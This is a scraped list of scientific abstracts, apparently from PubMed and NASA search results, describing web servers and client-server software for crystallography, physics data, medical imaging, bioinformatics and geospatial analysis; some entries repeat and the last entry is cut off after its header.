Adaptive Comparative Judgement (ACJ) is an alternative to conventional marking in which the assessor (judge) merely compares two answers and chooses a winner. (Scripts are typically uploaded to the CompareAssess interface as pdf files and are presented side-by-side.) Repeated comparisons and application of the sorting algorithm leads to scripts…

The PDB_REDO server for macromolecular structure model optimization.

PubMed

Joosten, Robbie P; Long, Fei; Murshudov, Garib N; Perrakis, Anastassis

2014-07-01

The refinement and validation of a crystallographic structure model is the last step before the coordinates and the associated data are submitted to the Protein Data Bank (PDB). The success of the refinement procedure is typically assessed by validating the models against geometrical criteria and the diffraction data, and is an important step in ensuring the quality of the PDB public archive [Read et al. (2011 ▶), Structure, 19, 1395-1412]. The PDB_REDO procedure aims for 'constructive validation', aspiring to consistent and optimal refinement parameterization and pro-active model rebuilding, not only correcting errors but striving for optimal interpretation of the electron density. A web server for PDB_REDO has been implemented, allowing thorough, consistent and fully automated optimization of the refinement procedure in REFMAC and partial model rebuilding. The goal of the web server is to help practicing crystallo-graphers to improve their model prior to submission to the PDB. For this, additional steps were implemented in the PDB_REDO pipeline, both in the refinement procedure, e.g. testing of resolution limits and k-fold cross-validation for small test sets, and as new validation criteria, e.g. the density-fit metrics implemented in EDSTATS and ligand validation as implemented in YASARA. Innovative ways to present the refinement and validation results to the user are also described, which together with auto-generated Coot scripts can guide users to subsequent model inspection and improvement. It is demonstrated that using the server can lead to substantial improvement of structure models before they are submitted to the PDB.

The PDB_REDO server for macromolecular structure model optimization

PubMed Central

Joosten, Robbie P.; Long, Fei; Murshudov, Garib N.; Perrakis, Anastassis

2014-01-01

The refinement and validation of a crystallographic structure model is the last step before the coordinates and the associated data are submitted to the Protein Data Bank (PDB). The success of the refinement procedure is typically assessed by validating the models against geometrical criteria and the diffraction data, and is an important step in ensuring the quality of the PDB public archive [Read et al. (2011 ▶), Structure, 19, 1395–1412]. The PDB_REDO procedure aims for ‘constructive validation’, aspiring to consistent and optimal refinement parameterization and pro-active model rebuilding, not only correcting errors but striving for optimal interpretation of the electron density. A web server for PDB_REDO has been implemented, allowing thorough, consistent and fully automated optimization of the refinement procedure in REFMAC and partial model rebuilding. The goal of the web server is to help practicing crystallo­graphers to improve their model prior to submission to the PDB. For this, additional steps were implemented in the PDB_REDO pipeline, both in the refinement procedure, e.g. testing of resolution limits and k-fold cross-validation for small test sets, and as new validation criteria, e.g. the density-fit metrics implemented in EDSTATS and ligand validation as implemented in YASARA. Innovative ways to present the refinement and validation results to the user are also described, which together with auto-generated Coot scripts can guide users to subsequent model inspection and improvement. It is demonstrated that using the server can lead to substantial improvement of structure models before they are submitted to the PDB. PMID:25075342

Dcs Data Viewer, an Application that Accesses ATLAS DCS Historical Data

NASA Astrophysics Data System (ADS)

Tsarouchas, C.; Schlenker, S.; Dimitrov, G.; Jahn, G.

2014-06-01

The ATLAS experiment at CERN is one of the four Large Hadron Collider experiments. The Detector Control System (DCS) of ATLAS is responsible for the supervision of the detector equipment, the reading of operational parameters, the propagation of the alarms and the archiving of important operational data in a relational database (DB). DCS Data Viewer (DDV) is an application that provides access to the ATLAS DCS historical data through a web interface. Its design is structured using a client-server architecture. The pythonic server connects to the DB and fetches the data by using optimized SQL requests. It communicates with the outside world, by accepting HTTP requests and it can be used stand alone. The client is an AJAX (Asynchronous JavaScript and XML) interactive web application developed under the Google Web Toolkit (GWT) framework. Its web interface is user friendly, platform and browser independent. The selection of metadata is done via a column-tree view or with a powerful search engine. The final visualization of the data is done using java applets or java script applications as plugins. The default output is a value-over-time chart, but other types of outputs like tables, ascii or ROOT files are supported too. Excessive access or malicious use of the database is prevented by a dedicated protection mechanism, allowing the exposure of the tool to hundreds of inexperienced users. The current configuration of the client and of the outputs can be saved in an XML file. Protection against web security attacks is foreseen and authentication constrains have been taken into account, allowing the exposure of the tool to hundreds of users world wide. Due to its flexible interface and its generic and modular approach, DDV could be easily used for other experiment control systems.

Earth science big data at users' fingertips: the EarthServer Science Gateway Mobile

NASA Astrophysics Data System (ADS)

Barbera, Roberto; Bruno, Riccardo; Calanducci, Antonio; Fargetta, Marco; Pappalardo, Marco; Rundo, Francesco

2014-05-01

The EarthServer project (www.earthserver.eu), funded by the European Commission under its Seventh Framework Program, aims at establishing open access and ad-hoc analytics on extreme-size Earth Science data, based on and extending leading-edge Array Database technology. The core idea is to use database query languages as client/server interface to achieve barrier-free "mix & match" access to multi-source, any-size, multi-dimensional space-time data -- in short: "Big Earth Data Analytics" - based on the open standards of the Open Geospatial Consortium Web Coverage Processing Service (OGC WCPS) and the W3C XQuery. EarthServer combines both, thereby achieving a tight data/metadata integration. Further, the rasdaman Array Database System (www.rasdaman.com) is extended with further space-time coverage data types. On server side, highly effective optimizations - such as parallel and distributed query processing - ensure scalability to Exabyte volumes. In this contribution we will report on the EarthServer Science Gateway Mobile, an app for both iOS and Android-based devices that allows users to seamlessly access some of the EarthServer applications using SAML-based federated authentication and fine-grained authorisation mechanisms.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Wu, C

Purpose: To implement a novel, automatic, institutional customizable DVH quantities evaluation and PDF report tool on Philips Pinnacle treatment planning system (TPS) Methods: An add-on program (P3DVHStats) is developed by us to enable automatic DVH quantities evaluation (including both volume and dose based quantities, such as V98, V100, D2), and automatic PDF format report generation, for EMR convenience. The implementation is based on a combination of Philips Pinnacle scripting tool and Java language pre-installed on each Pinnacle Sun Solaris workstation. A single Pinnacle script provide user a convenient access to the program when needed. The activated script will first exportmore » DVH data for user selected ROIs from current Pinnacle plan trial; a Java program then provides a simple GUI interface, utilizes the data to compute any user requested DVH quantities, compare with preset institutional DVH planning goals; if accepted by users, the program will also generate a PDF report of the results and export it from Pinnacle to EMR import folder via FTP. Results: The program was tested thoroughly and has been released for clinical use at our institution (Pinnacle Enterprise server with both thin clients and P3PC access), for all dosimetry and physics staff, with excellent feedback. It used to take a few minutes to use MS-Excel worksheet to calculate these DVH quantities for IMRT/VMAT plans, and manually save them as PDF report; with the new program, it literally takes a few mouse clicks in less than 30 seconds to complete the same tasks. Conclusion: A Pinnacle scripting and Java language based program is successfully implemented, customized to our institutional needs. It is shown to dramatically reduce time and effort needed for DVH quantities computing and EMR reporting.« less

A self-configuring control system for storage and computing departments at INFN-CNAF Tierl

NASA Astrophysics Data System (ADS)

Gregori, Daniele; Dal Pra, Stefano; Ricci, Pier Paolo; Pezzi, Michele; Prosperini, Andrea; Sapunenko, Vladimir

2015-05-01

The storage and farming departments at the INFN-CNAF Tier1[1] manage approximately thousands of computing nodes and several hundreds of servers that provides access to the disk and tape storage. In particular, the storage server machines should provide the following services: an efficient access to about 15 petabytes of disk space with different cluster of GPFS file system, the data transfers between LHC Tiers sites (Tier0, Tier1 and Tier2) via GridFTP cluster and Xrootd protocol and finally the writing and reading data operations on magnetic tape backend. One of the most important and essential point in order to get a reliable service is a control system that can warn if problems arise and which is able to perform automatic recovery operations in case of service interruptions or major failures. Moreover, during daily operations the configurations can change, i.e. if the GPFS cluster nodes roles can be modified and therefore the obsolete nodes must be removed from the control system production, and the new servers should be added to the ones that are already present. The manual management of all these changes is an operation that can be somewhat difficult in case of several changes, it can also take a long time and is easily subject to human error or misconfiguration. For these reasons we have developed a control system with the feature of self-configure itself if any change occurs. Currently, this system has been in production for about a year at the INFN-CNAF Tier1 with good results and hardly any major drawback. There are three major key points in this system. The first is a software configurator service (e.g. Quattor or Puppet) for the servers machines that we want to monitor with the control system; this service must ensure the presence of appropriate sensors and custom scripts on the nodes to check and should be able to install and update software packages on them. The second key element is a database containing information, according to a suitable format, on all the machines in production and able to provide for each of them the principal information such as the type of hardware, the network switch to which the machine is connected, if the machine is real (physical) or virtual, the possible hypervisor to which it belongs and so on. The last key point is a control system software (in our implementation we choose the Nagios software), capable of assessing the status of the servers and services, and that can attempt to restore the working state, restart or inhibit software services and send suitable alarm messages to the site administrators. The integration of these three elements was made by appropriate scripts and custom implementation that allow the self-configuration of the system according to a decisional logic and the whole combination of all the above-mentioned components will be deeply discussed in this paper.

HTML 5 Displays for On-Board Flight Systems

NASA Technical Reports Server (NTRS)

Silva, Chandika

2016-01-01

During my Internship at NASA in the summer of 2016, I was assigned to a project which dealt with developing a web-server that would display telemetry and other system data using HTML 5, JavaScript, and CSS. By doing this, it would be possible to view the data across a variety of screen sizes, and establish a standard that could be used to simplify communication and software development between NASA and other countries. Utilizing a web- approach allowed us to add in more functionality, as well as make the displays more aesthetically pleasing for the users. When I was assigned to this project my main task was to first establish communication with the current display server. This display server would output data from the on-board systems in XML format. Once communication was established I was then asked to create a dynamic telemetry table web page that would update its header and change as new information came in. After this was completed, certain minor functionalities were added to the table such as a hide column and filter by system option. This was more for the purpose of making the table more useful for the users, as they can now filter and view relevant data. Finally my last task was to create a graphical system display for all the systems on the space craft. This was by far the most challenging part of my internship as finding a JavaScript library that was both free and contained useful functions to assist me in my task was difficult. In the end I was able to use the JointJs library and accomplish the task. With the help of my mentor and the HIVE lab team, we were able to establish stable communication with the display server. We also succeeded in creating a fully dynamic telemetry table and in developing a graphical system display for the advanced modular power system. Working in JSC for this internship has taught me a lot about coding in JavaScript and HTML 5. I was also introduced to the concept of developing software as a team, and exposed to the different types of programs that are used to simplify team coding such as GitLab. While in JSC, I took full advantage of and attended the lectures that were held here on site. I learned a lot about what it is NASA does and about the interesting projects that are conducted here. One of the lectures I attended was about the selection process and the criteria that is used to select future astronauts for flight missions. This truly had an impact on my future plans as it showed me that this path was a viable option for me. After this internship I plan on completing my undergraduate course work and plan to move on for a masters degree. However, during the time in which I will be completing my masters course work, I would like to apply for the NASA pathways graduate program and, if I am accepted, eventually move on to being a full time civil servant. Working in NASA has not only been enjoyable, but full of information and great experiences that have motivated me to seek a full time employment here in the near future.

Visualizing ligand molecules in twilight electron density

PubMed Central

Weichenberger, Christian X.; Pozharski, Edwin; Rupp, Bernhard

2013-01-01

Three-dimensional models of protein structures determined by X-ray crystallo­graphy are based on the interpretation of experimentally derived electron-density maps. The real-space correlation coefficient (RSCC) provides an easily comprehensible, objective measure of the residue-based fit of atom coordinates to electron density. Among protein structure models, protein–ligand complexes are of special interest, given their contribution to understanding the molecular underpinnings of biological activity and to drug design. For consumers of such models, it is not trivial to determine the degree to which ligand-structure modelling is biased by subjective electron-density interpretation. A standalone script, Twilight, is presented for the analysis, visualization and annotation of a pre-filtered set of 2815 protein–ligand complexes deposited with the PDB as of 15 January 2012 with ligand RSCC values that are below a threshold of 0.6. It also provides simplified access to the visualization of any protein–ligand complex available from the PDB and annotated by the Uppsala Electron Density Server. The script runs on various platforms and is available for download at http://www.ruppweb.org/twilight/. PMID:23385767

Visualizing ligand molecules in Twilight electron density.

PubMed

Weichenberger, Christian X; Pozharski, Edwin; Rupp, Bernhard

2013-02-01

Three-dimensional models of protein structures determined by X-ray crystallography are based on the interpretation of experimentally derived electron-density maps. The real-space correlation coefficient (RSCC) provides an easily comprehensible, objective measure of the residue-based fit of atom coordinates to electron density. Among protein structure models, protein-ligand complexes are of special interest, given their contribution to understanding the molecular underpinnings of biological activity and to drug design. For consumers of such models, it is not trivial to determine the degree to which ligand-structure modelling is biased by subjective electron-density interpretation. A standalone script, Twilight, is presented for the analysis, visualization and annotation of a pre-filtered set of 2815 protein-ligand complexes deposited with the PDB as of 15 January 2012 with ligand RSCC values that are below a threshold of 0.6. It also provides simplified access to the visualization of any protein-ligand complex available from the PDB and annotated by the Uppsala Electron Density Server. The script runs on various platforms and is available for download at http://www.ruppweb.org/twilight/.

A Functional Approach to Hyperspectral Image Analysis in the Cloud

NASA Astrophysics Data System (ADS)

Wilson, A.; Lindholm, D. M.; Coddington, O.; Pilewskie, P.

2017-12-01

Hyperspectral image volumes are very large. A hyperspectral image analysis (HIA) may use 100TB of data, a huge barrier to their use. Hylatis is a new NASA project to create a toolset for HIA. Through web notebook and cloud technology, Hylatis will provide a more interactive experience for HIA by defining and implementing concepts and operations for HIA, identified and vetted by subject matter experts, and callable within a general purpose language, particularly Python. Hylatis leverages LaTiS, a data access framework developed at LASP. With an OPeNDAP compliant interface plus additional server side capabilities, the LaTiS API provides a uniform interface to virtually any data source, and has been applied to various storage systems, including: file systems, databases, remote servers, and in various domains including: space science, systems administration and stock quotes. In the LaTiS architecture, data `adapters' read data into a data model, where server-side computations occur. Data `writers' write data from the data model into the desired format. The Hylatis difference is the data model. In LaTiS, data are represented as mathematical functions of independent and dependent variables. Domain semantics are not present at this level, but are instead present in higher software layers. The benefit of a domain agnostic, mathematical representation is having the power of math, particularly functional algebra, unconstrained by domain semantics. This agnosticism supports reusable server side functionality applicable in any domain, such as statistical, filtering, or projection operations. Algorithms to aggregate or fuse data can be simpler because domain semantics are separated from the math. Hylatis will map the functional model onto the Spark relational interface, thereby adding a functional interface to that big data engine.This presentation will discuss Hylatis goals, strategies, and current state.

Dynamic Server-Based KML Code Generator Method for Level-of-Detail Traversal of Geospatial Data

NASA Technical Reports Server (NTRS)

Baxes, Gregory; Mixon, Brian; Linger, TIm

2013-01-01

Web-based geospatial client applications such as Google Earth and NASA World Wind must listen to data requests, access appropriate stored data, and compile a data response to the requesting client application. This process occurs repeatedly to support multiple client requests and application instances. Newer Web-based geospatial clients also provide user-interactive functionality that is dependent on fast and efficient server responses. With massively large datasets, server-client interaction can become severely impeded because the server must determine the best way to assemble data to meet the client applications request. In client applications such as Google Earth, the user interactively wanders through the data using visually guided panning and zooming actions. With these actions, the client application is continually issuing data requests to the server without knowledge of the server s data structure or extraction/assembly paradigm. A method for efficiently controlling the networked access of a Web-based geospatial browser to server-based datasets in particular, massively sized datasets has been developed. The method specifically uses the Keyhole Markup Language (KML), an Open Geospatial Consortium (OGS) standard used by Google Earth and other KML-compliant geospatial client applications. The innovation is based on establishing a dynamic cascading KML strategy that is initiated by a KML launch file provided by a data server host to a Google Earth or similar KMLcompliant geospatial client application user. Upon execution, the launch KML code issues a request for image data covering an initial geographic region. The server responds with the requested data along with subsequent dynamically generated KML code that directs the client application to make follow-on requests for higher level of detail (LOD) imagery to replace the initial imagery as the user navigates into the dataset. The approach provides an efficient data traversal path and mechanism that can be flexibly established for any dataset regardless of size or other characteristics. The method yields significant improvements in userinteractive geospatial client and data server interaction and associated network bandwidth requirements. The innovation uses a C- or PHP-code-like grammar that provides a high degree of processing flexibility. A set of language lexer and parser elements is provided that offers a complete language grammar for writing and executing language directives. A script is wrapped and passed to the geospatial data server by a client application as a component of a standard KML-compliant statement. The approach provides an efficient means for a geospatial client application to request server preprocessing of data prior to client delivery. Data is structured in a quadtree format. As the user zooms into the dataset, geographic regions are subdivided into four child regions. Conversely, as the user zooms out, four child regions collapse into a single, lower-LOD region. The approach provides an efficient data traversal path and mechanism that can be flexibly established for any dataset regardless of size or other characteristics.

Developing an interactive teleradiology system for SARS diagnosis

NASA Astrophysics Data System (ADS)

Sun, Jianyong; Zhang, Jianguo; Zhuang, Jun; Chen, Xiaomeng; Yong, Yuanyuan; Tan, Yongqiang; Chen, Liu; Lian, Ping; Meng, Lili; Huang, H. K.

2004-04-01

Severe acute respiratory syndrome (SARS) is a respiratory illness that had been reported in Asia, North America, and Europe in last spring. Most of the China cases of SARS have occurred by infection in hospitals or among travelers. To protect the physicians, experts and nurses from the SARS during the diagnosis and treatment procedures, the infection control mechanisms were built in SARS hospitals. We built a Web-based interactive teleradiology system to assist the radiologists and physicians both in side and out side control area to make image diagnosis. The system consists of three major components: DICOM gateway (GW), Web-based image repository server (Server), and Web-based DICOM viewer (Viewer). This system was installed and integrated with CR, CT and the hospital information system (HIS) in Shanghai Xinhua hospital to provide image-based ePR functions for SARS consultation between the radiologists, physicians and experts inside and out side control area. The both users inside and out side the control area can use the system to process and manipulate the DICOM images interactively, and the system provide the remote control mechanism to synchronize their operations on images and display.

CellMap visualizes protein-protein interactions and subcellular localization

PubMed Central

Dallago, Christian; Goldberg, Tatyana; Andrade-Navarro, Miguel Angel; Alanis-Lobato, Gregorio; Rost, Burkhard

2018-01-01

Many tools visualize protein-protein interaction (PPI) networks. The tool introduced here, CellMap, adds one crucial novelty by visualizing PPI networks in the context of subcellular localization, i.e. the location in the cell or cellular component in which a PPI happens. Users can upload images of cells and define areas of interest against which PPIs for selected proteins are displayed (by default on a cartoon of a cell). Annotations of localization are provided by the user or through our in-house database. The visualizer and server are written in JavaScript, making CellMap easy to customize and to extend by researchers and developers. PMID:29497493

Molmil: a molecular viewer for the PDB and beyond.

PubMed

Bekker, Gert-Jan; Nakamura, Haruki; Kinjo, Akira R

2016-01-01

We have developed a new platform-independent web-based molecular viewer using JavaScript and WebGL. The molecular viewer, Molmil, has been integrated into several services offered by Protein Data Bank Japan and can be easily extended with new functionality by third party developers. Furthermore, the viewer can be used to load files in various formats from the user's local hard drive without uploading the data to a server. Molmil is available for all platforms supporting WebGL (e.g. Windows, Linux, iOS, Android) from http://gjbekker.github.io/molmil/. The source code is available at http://github.com/gjbekker/molmil under the LGPLv3 licence.

Introduction to an Open Source Internet-Based Testing Program for Medical Student Examinations

PubMed Central

2009-01-01

The author developed a freely available open source internet-based testing program for medical examination. PHP and Java script were used as the programming language and postgreSQL as the database management system on an Apache web server and Linux operating system. The system approach was that a super user inputs the items, each school administrator inputs the examinees' information, and examinees access the system. The examinee's score is displayed immediately after examination with item analysis. The set-up of the system beginning with installation is described. This may help medical professors to easily adopt an internet-based testing system for medical education. PMID:20046457

Biotool2Web: creating simple Web interfaces for bioinformatics applications.

PubMed

Shahid, Mohammad; Alam, Intikhab; Fuellen, Georg

2006-01-01

Currently there are many bioinformatics applications being developed, but there is no easy way to publish them on the World Wide Web. We have developed a Perl script, called Biotool2Web, which makes the task of creating web interfaces for simple ('home-made') bioinformatics applications quick and easy. Biotool2Web uses an XML document containing the parameters to run the tool on the Web, and generates the corresponding HTML and common gateway interface (CGI) files ready to be published on a web server. This tool is available for download at URL http://www.uni-muenster.de/Bioinformatics/services/biotool2web/ Georg Fuellen (fuellen@alum.mit.edu).

Introduction to an open source internet-based testing program for medical student examinations.

PubMed

Lee, Yoon-Hwan

2009-12-20

The author developed a freely available open source internet-based testing program for medical examination. PHP and Java script were used as the programming language and postgreSQL as the database management system on an Apache web server and Linux operating system. The system approach was that a super user inputs the items, each school administrator inputs the examinees' information, and examinees access the system. The examinee's score is displayed immediately after examination with item analysis. The set-up of the system beginning with installation is described. This may help medical professors to easily adopt an internet-based testing system for medical education.

Arc4nix: A cross-platform geospatial analytical library for cluster and cloud computing

NASA Astrophysics Data System (ADS)

Tang, Jingyin; Matyas, Corene J.

2018-02-01

Big Data in geospatial technology is a grand challenge for processing capacity. The ability to use a GIS for geospatial analysis on Cloud Computing and High Performance Computing (HPC) clusters has emerged as a new approach to provide feasible solutions. However, users lack the ability to migrate existing research tools to a Cloud Computing or HPC-based environment because of the incompatibility of the market-dominating ArcGIS software stack and Linux operating system. This manuscript details a cross-platform geospatial library "arc4nix" to bridge this gap. Arc4nix provides an application programming interface compatible with ArcGIS and its Python library "arcpy". Arc4nix uses a decoupled client-server architecture that permits geospatial analytical functions to run on the remote server and other functions to run on the native Python environment. It uses functional programming and meta-programming language to dynamically construct Python codes containing actual geospatial calculations, send them to a server and retrieve results. Arc4nix allows users to employ their arcpy-based script in a Cloud Computing and HPC environment with minimal or no modification. It also supports parallelizing tasks using multiple CPU cores and nodes for large-scale analyses. A case study of geospatial processing of a numerical weather model's output shows that arcpy scales linearly in a distributed environment. Arc4nix is open-source software.

Biographer: web-based editing and rendering of SBGN compliant biochemical networks

PubMed Central

Krause, Falko; Schulz, Marvin; Ripkens, Ben; Flöttmann, Max; Krantz, Marcus; Klipp, Edda; Handorf, Thomas

2013-01-01

Motivation: The rapid accumulation of knowledge in the field of Systems Biology during the past years requires advanced, but simple-to-use, methods for the visualization of information in a structured and easily comprehensible manner. Results: We have developed biographer, a web-based renderer and editor for reaction networks, which can be integrated as a library into tools dealing with network-related information. Our software enables visualizations based on the emerging standard Systems Biology Graphical Notation. It is able to import networks encoded in various formats such as SBML, SBGN-ML and jSBGN, a custom lightweight exchange format. The core package is implemented in HTML5, CSS and JavaScript and can be used within any kind of web-based project. It features interactive graph-editing tools and automatic graph layout algorithms. In addition, we provide a standalone graph editor and a web server, which contains enhanced features like web services for the import and export of models and visualizations in different formats. Availability: The biographer tool can be used at and downloaded from the web page http://biographer.biologie.hu-berlin.de/. The different software packages, including a server-indepenent version as well as a web server for Windows and Linux based systems, are available at http://code.google.com/p/biographer/ under the open-source license LGPL. Contact: edda.klipp@biologie.hu-berlin.de or handorf@physik.hu-berlin.de PMID:23574737

Web-based Tool Suite for Plasmasphere Information Discovery

NASA Astrophysics Data System (ADS)

Newman, T. S.; Wang, C.; Gallagher, D. L.

2005-12-01

A suite of tools that enable discovery of terrestrial plasmasphere characteristics from NASA IMAGE Extreme Ultra Violet (EUV) images is described. The tool suite is web-accessible, allowing easy remote access without the need for any software installation on the user's computer. The features supported by the tool include reconstruction of the plasmasphere plasma density distribution from a short sequence of EUV images, semi-automated selection of the plasmapause boundary in an EUV image, and mapping of the selected boundary to the geomagnetic equatorial plane. EUV image upload and result download is also supported. The tool suite's plasmapause mapping feature is achieved via the Roelof and Skinner (2000) Edge Algorithm. The plasma density reconstruction is achieved through a tomographic technique that exploits physical constraints to allow for a moderate resolution result. The tool suite's software architecture uses Java Server Pages (JSP) and Java Applets on the front side for user-software interaction and Java Servlets on the server side for task execution. The compute-intensive components of the tool suite are implemented in C++ and invoked by the server via Java Native Interface (JNI).

Concussion and Traumatic Brain Injury

MedlinePlus

... please turn JavaScript on. Feature: Concussion Concussion and Traumatic Brain Injury Past Issues / Summer 2015 Table of Contents Children ... Flutie: "Be on the Safe Side." / Concussion and Traumatic Brain Injury Summer 2015 Issue: Volume 10 Number 2 Page ...

Data archiving and serving system implementation in CLEP's GRAS Core System

NASA Astrophysics Data System (ADS)

Zuo, Wei; Zeng, Xingguo; Zhang, Zhoubin; Geng, Liang; Li, Chunlai

2017-04-01

The Ground Research & Applications System(GRAS) is one of the five systems of China's Lunar Exploration Project(CLEP), it is responsible for data acquisition, processing, management and application, and it is also the operation control center during satellite in-orbit and payload operation management. Chang'E-1, Chang'E-2 and Chang'E-3 have collected abundant lunar exploration data. The aim of this work is to present the implementation of data archiving and Serving in CLEP's GRAS Core System software. This first approach provides a client side API and server side software allowing the creation of a simplified version of CLEPDB data archiving software, and implements all required elements to complete data archiving flow from data acquisition until its persistent storage technology. The client side includes all necessary components that run on devices that acquire or produce data, distributing and streaming to configure remote archiving servers. The server side comprises an archiving service that stores into PDS files all received data. The archiving solution aims at storing data coming for the Data Acquisition Subsystem, the Operation Management Subsystem, the Data Preprocessing Subsystem and the Scientific Application & Research Subsystem. The serving solution aims at serving data for the various business systems, scientific researchers and public users. The data-driven and component clustering methods was adopted in this system, the former is used to solve real-time data archiving and data persistence services; the latter is used to keep the continuous supporting ability of archive and service to new data from Chang'E Mission. Meanwhile, it can save software development cost as well.

Development of mobile platform integrated with existing electronic medical records.

PubMed

Kim, YoungAh; Kim, Sung Soo; Kang, Simon; Kim, Kyungduk; Kim, Jun

2014-07-01

This paper describes a mobile Electronic Medical Record (EMR) platform designed to manage and utilize the existing EMR and mobile application with optimized resources. We structured the mEMR to reuse services of retrieval and storage in mobile app environments that have already proven to have no problem working with EMRs. A new mobile architecture-based mobile solution was developed in four steps: the construction of a server and its architecture; screen layout and storyboard making; screen user interface design and development; and a pilot test and step-by-step deployment. This mobile architecture consists of two parts, the server-side area and the client-side area. In the server-side area, it performs the roles of service management for EMR and documents and for information exchange. Furthermore, it performs menu allocation depending on user permission and automatic clinical document architecture document conversion. Currently, Severance Hospital operates an iOS-compatible mobile solution based on this mobile architecture and provides stable service without additional resources, dealing with dynamic changes of EMR templates. The proposed mobile solution should go hand in hand with the existing EMR system, and it can be a cost-effective solution if a quality EMR system is operated steadily with this solution. Thus, we expect this example to be shared with hospitals that currently plan to deploy mobile solutions.

Development of Mobile Platform Integrated with Existing Electronic Medical Records

PubMed Central

Kim, YoungAh; Kang, Simon; Kim, Kyungduk; Kim, Jun

2014-01-01

Objectives This paper describes a mobile Electronic Medical Record (EMR) platform designed to manage and utilize the existing EMR and mobile application with optimized resources. Methods We structured the mEMR to reuse services of retrieval and storage in mobile app environments that have already proven to have no problem working with EMRs. A new mobile architecture-based mobile solution was developed in four steps: the construction of a server and its architecture; screen layout and storyboard making; screen user interface design and development; and a pilot test and step-by-step deployment. This mobile architecture consists of two parts, the server-side area and the client-side area. In the server-side area, it performs the roles of service management for EMR and documents and for information exchange. Furthermore, it performs menu allocation depending on user permission and automatic clinical document architecture document conversion. Results Currently, Severance Hospital operates an iOS-compatible mobile solution based on this mobile architecture and provides stable service without additional resources, dealing with dynamic changes of EMR templates. Conclusions The proposed mobile solution should go hand in hand with the existing EMR system, and it can be a cost-effective solution if a quality EMR system is operated steadily with this solution. Thus, we expect this example to be shared with hospitals that currently plan to deploy mobile solutions. PMID:25152837

BitTorious volunteer: server-side extensions for centrally-managed volunteer storage in BitTorrent swarms.

PubMed

Lee, Preston V; Dinu, Valentin

2015-11-04

Our publication of the BitTorious portal [1] demonstrated the ability to create a privatized distributed data warehouse of sufficient magnitude for real-world bioinformatics studies using minimal changes to the standard BitTorrent tracker protocol. In this second phase, we release a new server-side specification to accept anonymous philantropic storage donations by the general public, wherein a small portion of each user's local disk may be used for archival of scientific data. We have implementated the server-side announcement and control portions of this BitTorrent extension into v3.0.0 of the BitTorious portal, upon which compatible clients may be built. Automated test cases for the BitTorious Volunteer extensions have been added to the portal's v3.0.0 release, supporting validation of the "peer affinity" concept and announcement protocol introduced by this specification. Additionally, a separate reference implementation of affinity calculation has been provided in C++ for informaticians wishing to integrate into libtorrent-based projects. The BitTorrent "affinity" extensions as provided in the BitTorious portal reference implementation allow data publishers to crowdsource the extreme storage prerequisites for research in "big data" fields. With sufficient awareness and adoption of BitTorious Volunteer-based clients by the general public, the BitTorious portal may be able to provide peta-scale storage resources to the scientific community at relatively insignificant financial cost.

Reference-frame-independent quantum-key-distribution server with a telecom tether for an on-chip client.

PubMed

Zhang, P; Aungskunsiri, K; Martín-López, E; Wabnig, J; Lobino, M; Nock, R W; Munns, J; Bonneau, D; Jiang, P; Li, H W; Laing, A; Rarity, J G; Niskanen, A O; Thompson, M G; O'Brien, J L

2014-04-04

We demonstrate a client-server quantum key distribution (QKD) scheme. Large resources such as laser and detectors are situated at the server side, which is accessible via telecom fiber to a client requiring only an on-chip polarization rotator, which may be integrated into a handheld device. The detrimental effects of unstable fiber birefringence are overcome by employing the reference-frame-independent QKD protocol for polarization qubits in polarization maintaining fiber, where standard QKD protocols fail, as we show for comparison. This opens the way for quantum enhanced secure communications between companies and members of the general public equipped with handheld mobile devices, via telecom-fiber tethering.

Decision Support Systems for Launch and Range Operations Using Jess

NASA Technical Reports Server (NTRS)

Thirumalainambi, Rajkumar

2007-01-01

The virtual test bed for launch and range operations developed at NASA Ames Research Center consists of various independent expert systems advising on weather effects, toxic gas dispersions and human health risk assessment during space-flight operations. An individual dedicated server supports each expert system and the master system gather information from the dedicated servers to support the launch decision-making process. Since the test bed is based on the web system, reducing network traffic and optimizing the knowledge base is critical to its success of real-time or near real-time operations. Jess, a fast rule engine and powerful scripting environment developed at Sandia National Laboratory has been adopted to build the expert systems providing robustness and scalability. Jess also supports XML representation of knowledge base with forward and backward chaining inference mechanism. Facts added - to working memory during run-time operations facilitates analyses of multiple scenarios. Knowledge base can be distributed with one inference engine performing the inference process. This paper discusses details of the knowledge base and inference engine using Jess for a launch and range virtual test bed.

Implications of the Java language on computer-based patient records.

PubMed

Pollard, D; Kucharz, E; Hammond, W E

1996-01-01

The growth of the utilization of the World Wide Web (WWW) as a medium for the delivery of computer-based patient records (CBPR) has created a new paradigm in which clinical information may be delivered. Until recently the authoring tools and environment for application development on the WWW have been limited to Hyper Text Markup Language (HTML) utilizing common gateway interface scripts. While, at times, this provides an effective medium for the delivery of CBPR, it is a less than optimal solution. The server-centric dynamics and low levels of interactivity do not provide for a robust application which is required in a clinical environment. The emergence of Sun Microsystems' Java language is a solution to the problem. In this paper we examine the Java language and its implications to the CBPR. A quantitative and qualitative assessment was performed. The Java environment is compared to HTML and Telnet CBPR environments. Qualitative comparisons include level of interactivity, server load, client load, ease of use, and application capabilities. Quantitative comparisons include data transfer time delays. The Java language has demonstrated promise for delivering CBPRs.

Securing a web-based teleradiology platform according to German law and "best practices".

PubMed

Spitzer, Michael; Ullrich, Tobias; Ueckert, Frank

2009-01-01

The Medical Data and Picture Exchange platform (MDPE), as a teleradiology system, facilitates the exchange of digital medical imaging data among authorized users. It features extensive support of the DICOM standard including networking functions. Since MDPE is designed as a web service, security and confidentiality of data and communication pose an outstanding challenge. To comply with demands of German laws and authorities, a generic data security concept considered as "best practice" in German health telematics was adapted to the specific demands of MDPE. The concept features strict logical and physical separation of diagnostic and identity data and thus an all-encompassing pseudonymization throughout the system. Hence, data may only be merged at authorized clients. MDPE's solution of merging data from separate sources within a web browser avoids technically questionable techniques such as deliberate cross-site scripting. Instead, data is merged dynamically by JavaScriptlets running in the user's browser. These scriptlets are provided by one server, while content and method calls are generated by another server. Additionally, MDPE uses encrypted temporary IDs for communication and merging of data.

Optimizing the Replication of Multi-Quality Web Applications Using ACO and WoLF

DTIC Science & Technology

2006-09-14

bipartite graph in both directions as they construct solutions, pheromone is used for traversing from one side of the bipartite graph to the other and back...27 3.1.3 Transitioning From 〈d, q〉 pairs to Servers. . . . . 29 3.1.4 Pheromone Update Rule . . . . . . . . . . . . . . 30 vi Page 3.2 WoLFAntDA: A...35 3.2.6 Pheromone Update Rule . . . . . . . . . . . . . . 36 3.2.7 Policy Updates . . . . . . . . . . . . . . . . . . . 36 3.3 The Server-Filling

The FTMap family of web servers for determining and characterizing ligand binding hot spots of proteins

PubMed Central

